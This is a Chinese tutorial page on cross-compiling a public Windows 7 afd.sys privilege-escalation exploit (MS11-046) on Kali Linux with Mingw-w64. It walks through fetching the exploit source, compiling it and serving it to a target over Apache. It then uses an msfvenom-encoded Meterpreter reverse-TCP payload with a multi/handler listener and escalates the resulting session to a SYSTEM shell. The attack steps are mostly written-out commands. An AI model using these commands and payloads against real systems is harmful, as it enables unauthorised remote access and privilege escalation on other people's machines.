• 微课视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 程序设计
  • 信息安全
微课江湖
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 微课视频
  • bios
  • 系统安装
  • 系统进程
  • Windows
  • LINUX
  • RedHat/Centos
  • Ubuntu/Debian
  • Fedora
  • Solaris
  • 麒麟系统
  • 红旗Linux
  • 苹果MAC
  • 注册表
  • 其它系统
您的位置:首页 > 操作系统 >其它系统 > 在Kali Linux上编译Windows漏洞的方法

在Kali Linux上编译Windows漏洞的方法

作者:佚名 字体:[增加 减小] 来源:互联网 时间:2017-05-12

佚名 通过本文向大家介绍了kali linux 漏洞扫描,kali 漏洞扫描,kali漏洞扫描工具,kali漏洞分析,kali linux教程等相关知识,希望对您有所帮助,也希望大家多多支持微课江湖

如何在Kali Linux上编译Windows漏洞!

Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。

Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。

在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。

1、在Kali Linux上安装Mingw-w64

默认情况下,Kali Linux 2016.2和更低版本上未安装Mingw-w64。 因此,我们需要先安装它,然后才能在Linux上编译Windows漏洞。 执行以下命令,安装Mingw-w64:

apt-get update  apt-get install mingw-w64    

 使用apt-get install mingw-w64在您的Kali主机上安装mingw-w64。

使用apt-get install mingw-w64在您的Kali主机上安装mingw-w64。

键入y为yes,以确认并继续Mingw-w64安装过程。 下载和安装Mingw-w64可能需要一段时间才能完成。

2、无法找到程序包mingw-w64的解决方法

有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:

root@kali:~# apt-getinstall mingw-w64  Reading package lists…Done  Building dependency tree  Reading stateinformation… Done  E: Unable to locatepackage mingw-w64  

要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:

/etc/apt/sources.list

确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的Kali Linux的存储库:

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行Mingw-w64软件包的安装命令。

3、用Mingw-w64交叉编译Windows漏洞利用

现在我们已经安装了Mingw-w64,可以开始编译Windows漏洞利用程序了。 对于本教程,我们将编译一个用C编写的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系统在辅助功能驱动程序(AFD)中包含一个漏洞,允许已认证的非管理用户提升权限。即使Mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位Windows漏洞。 让我们来看看如何编译32位Windows漏洞。

让我们从Exploit-db下载漏洞:

wget --output-document= 40564.c https://www.exploit-db.com/download/40564

使用以下命令编译Windows 32位的afd.sys exploit:

i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32

以下命令将编译Windows 7 afd.sys特权升级漏洞:

i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32  

编译Windows漏洞。

编译Windows漏洞。

要将漏洞利用程序转移到目标主机,我们将使用内置的ApacheWeb服务器来提供它。 最后2个命令会将exploit复制到Apache主目录并启动Apache Web服务器。

当我们从cmd.exe下载并执行该漏洞时,它将如下所示: 

漏洞利用成功执行。

漏洞利用成功执行。

因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如Meterpreter。让我们看看如何从Meterpreter会话运行漏洞利用。

4、利用编译错误

当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。

处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。

5、从Meterpreter shell中利用MS11-046

让我们使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效负载,并在目标主机上执行它。 我们将在Metasploit中使用多处理程序来捕获反向shell。

使用以下命令使用Msfvenom创建有效负载:

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe

请务必更换侦听主机IP,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:

use exploit/multi/handler  set lhost [listening host IP]  set lport 4444  run   

在端口4444上启动反向TCP处理程序。

在端口4444上启动反向TCP处理程序。

然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向Meterpreter shell: 

目标主机连接回Kali。

目标主机连接回Kali。

在Meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell: 

特权升级攻击通过我们的Meterpreter会话成功执行。

特权升级攻击通过我们的Meterpreter会话成功执行。

正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。

您可以通过键入Exit来验证这一点,将退出系统shell并返回到仍包含Windows 7权限升级exploit输出的用户shell: 

特权用户shell上的exploit输出。

特权用户shell上的exploit输出。

学到的东西

在本教程中,我们已经了解了在Linux上针对Windows的交叉编译漏洞的基础知识。 我们已经学习了如何在Kali Linux上安装Mingw-w64并解决最常见的安装问题。 为了练习漏洞编译过程,我们编译了一个针对Windows7 x86的特权提升漏洞。 这也称为交叉编译。

我们已成功的在目标主机上执行已编译的可执行文件,并将shell从有限的用户shell升级到系统shell。 我们已经知道,这个特殊的exploit在shell中生成了一个shell,在这个shell中执行了exploit。 这样,我们还可以从命令行(例如Meterpreter shell)执行特权提升漏洞利用。

最后但同样重要的是,我们已经了解了如何在编译过程中修复错误。

</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • 在Kali Linux上编译Windows漏洞的方法

相关文章

  • 2017-05-12Linux系统下Xen虚拟机的安装和配置详细教程
  • 2017-05-12简单介绍几款Docker的检测工具
  • 2017-05-12如何解决开机后一按F5就出现搜索结果按CTR自动静音问题
  • 2017-05-12操作系统移植是指的什么 操作系统移植的含义
  • 2017-05-12VMware虚拟机找不到USB设备该怎么办?
  • 2017-05-12如何解决电脑蓝屏错误:stop:0x000000EA的问题
  • 2017-05-12在vmware10上安装Mac10.8系统的图文教程
  • 2017-05-12MSDTC(分布式交易协调器)不可用的解决方法
  • 2017-05-12对于Docker使用的一些安全配置建议
  • 2017-05-12如何解决“不能打开文件:langbar.chm”的问题

文章分类

  • bios
  • 系统安装
  • 系统进程
  • Windows
  • LINUX
  • RedHat/Centos
  • Ubuntu/Debian
  • Fedora
  • Solaris
  • 麒麟系统
  • 红旗Linux
  • 苹果MAC
  • 注册表
  • 其它系统

最近更新的内容

    • IE8在登录淘宝时自动关闭或内存指令错误的原因及解决方法
    • NETWARE客服服务是什么? netware有什么作用?卸载netware客户服务的详细步骤
    • vmware虚拟机无法打开提示策略太旧该怎么办?
    • 临时文件有哪些危害以及处理方法
    • Android X86强制竖屏怎么办?安卓(Android)x86屏幕旋转成横屏解决方法
    • dos是什么意思 dos命令是什么?
    • 无光驱无U盘安装系统的图文教程
    • 如何利用批处理文件去掉快捷方式小箭头的方法
    • 深度操作系统15.4正式版更新了哪些内容?
    • 去除Mac OS X 弹性滚动效果的方法介绍

关于我们 - 联系我们 - 免责声明 - 网站地图 - 投诉建议

©CopyRight 2015-2017 www.weikejianghu.com Inc All Rights Reserved. 微课江湖 版权所有